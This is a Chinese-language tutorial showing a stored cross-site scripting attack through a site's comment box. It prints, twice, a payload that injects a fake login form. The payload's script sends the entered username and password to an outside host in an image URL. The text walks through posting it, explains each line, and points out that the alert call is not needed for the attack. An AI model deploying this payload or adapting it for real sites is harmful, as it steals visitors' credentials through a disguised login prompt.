这是一个有添加评论功能的两个文本框，一个标题一个内容，标题我们输入1，内容部分贴入以下代码：

<script>

function hack(){

    XSSImage=new Image;
    XSSImage.src="http://photo.163.com/?PROPERTY=yes&user="+document.forms[1].user.value + "&password=" +document.forms[1].pass.value + "";
alert(XSSImage.src);
}

</script>

<form><br><br><HR><H3>This featurere quires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user"name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login"onclick="hack()"></form><br><br><HR> 


点击“submit”，显示如下：
 Message列表中出现一个title为“1”的一条评论，点击这条评论：
 出现了一个登录框，好像这个网站查看评论需要登录，但是一旦登录，你们帐号和密码就会自动发送给攻击者，让我们解读下这段代码：

<form><br><br><HR><H3>This featurere quires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user"name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login"onclick="hack()"></form><br><br><HR> 
这段代码是说，首先创建了两个文本框，一个是id=users的用户名，另一个是password框。然后还有一个提交按钮，按钮事件包含一个hack()，hack（）方法的内容如下：

<script>

function hack(){

    XSSImage=new Image;
    XSSImage.src="http://photo.163.com/?PROPERTY=yes&user="+document.forms[1].user.value + "&password=" +document.forms[1].pass.value + "";
alert(XSSImage.src);
}

</script>

这段代码解读起来是这样：首先创建一个Image对象，XSSImage.src的意思是设置或返回图像的URL，而URL配置的内容就是泄漏的帐号和密码；alert(XSSImage.src)这句话是用例验证我们已经获取到了帐号和密码，可以去掉，对攻击无用处。我们输入帐号和密码提交后，如下图：